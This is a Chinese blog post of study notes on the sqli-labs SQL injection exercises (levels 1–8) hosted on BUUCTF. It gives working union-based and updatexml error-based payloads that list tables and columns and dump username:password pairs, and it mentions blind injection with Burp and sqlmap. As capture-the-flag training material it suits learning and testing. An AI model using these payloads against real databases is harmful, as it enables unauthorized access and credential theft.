sql注入(2021寒假)

BUUCTF练习

sql注入

本质:将用户输入的不可信数据当作代码去执行
条件:用户控制输入,原本程序要执行的代码,拼接用户输入的内容,然后去执行

第一题http://1c71b02a-c58f-4ee9-a951-7efe3109c4d6.node4.buuoj.cn/Less-1/

单引号报错输入
1,查看是否闭合,输入?id=1’时,一直显示near ‘‘1’’ LIMIT 0,1’ at line 1,所以猜测id是闭合的,且是字符型注入
2,输入1’ --+
3,使用order by查看有多少列,使用order by对前面的数据进行排序,本题只有三列,同时要查找的数据在第二列
4,查找数据库名,使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,user(),database() --+
这里为了报错,使用0,同时查看数据库用户以及数据库名称
5,查询数据库表名使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6,查找字段
使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+//注意,这里的数据库名一定要用单引号,因为是一个字符
7,查询字段的值使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+ //使用0x3a是冒号的作用

第二题http://1c71b02a-c58f-4ee9-a951-7efe3109c4d6.node4.buuoj.cn/Less-2/

1,当输入?id=1’时
出现 " limit 1’判断是整型输入,所以是?id=1
2,再是使用order by查看列数
3,使用联合词 union select1,2,3查看用户以及数据库的位置
4,在时使用 union select 1,user(),database() --+查看相应的名字
5,下边的步骤跟第一题的一样,就能够成注入

第三题http://195a5279-98ad-4455-a0fb-f9416c70ece9.node4.buuoj.cn/Less-3/

1,当输入单引号字符型时,
alt
2,下边的步骤跟之前前两题一样的方法

第四题

题型是双引号加括号,做题方法跟前面的一样
前四题总结一下,都可以采用联合注入与报错注入

第五题

这里无论输入什么,显示都是显示YOU ARE IN…(采用联合注入都没有数据可以显示)
在这里插入图片描述
输入1’时
在这里插入图片描述
本题尝试用报错注入,布尔型注入,时间盲注等等,工程量比较大。。。。
最好采用sqlmap
这题说明了闭合状态就是 ’
1,
在这里插入图片描述
解决方法采用的就是报错注入
2,查询有多少列
3,查询数据库名
?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
4,查询字段名
?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e),1) --+
在这里插入图片描述可以判断出本题就是盲注

在这里插入图片描述
6,查询字段里的数据
?id=-1’ and updatexml(1,concat(0x7e,select(username,0x3a,password) from user),0x7e),1) --+

发现不能全部显示,所以采用加入id=…来进行逐个查看
http://d2eaf102-0b78-41c7-8f16-4b42a64d2bd8.node4.buuoj.cn/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20id=1),0x7e),1)%20–+

第六题

这题与第五题进行对比,可以看到只是闭合的方式不同而已,采用的是双引号
在这里插入图片描述
所以做题方法跟第五题一摸一样

第七题

在这里插入图片描述这题一开始写是没有思路的,去查看别人的做题记录

在这里插入图片描述
总结,没有弄懂

第八题

本题是布尔型盲注
1,当输入时?id=1时
在这里插入图片描述
2,输入2’时

在这里插入图片描述可以判断闭合方式是’
3,判断长度是多少在这里插入图片描述如图可以知道长度为八
4,下一步就是拆解数据库的名字
使用burpsuite抓包instruder,查找到数据库的名字
5,再是采用sqlmap查字段,查字段的数据等
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值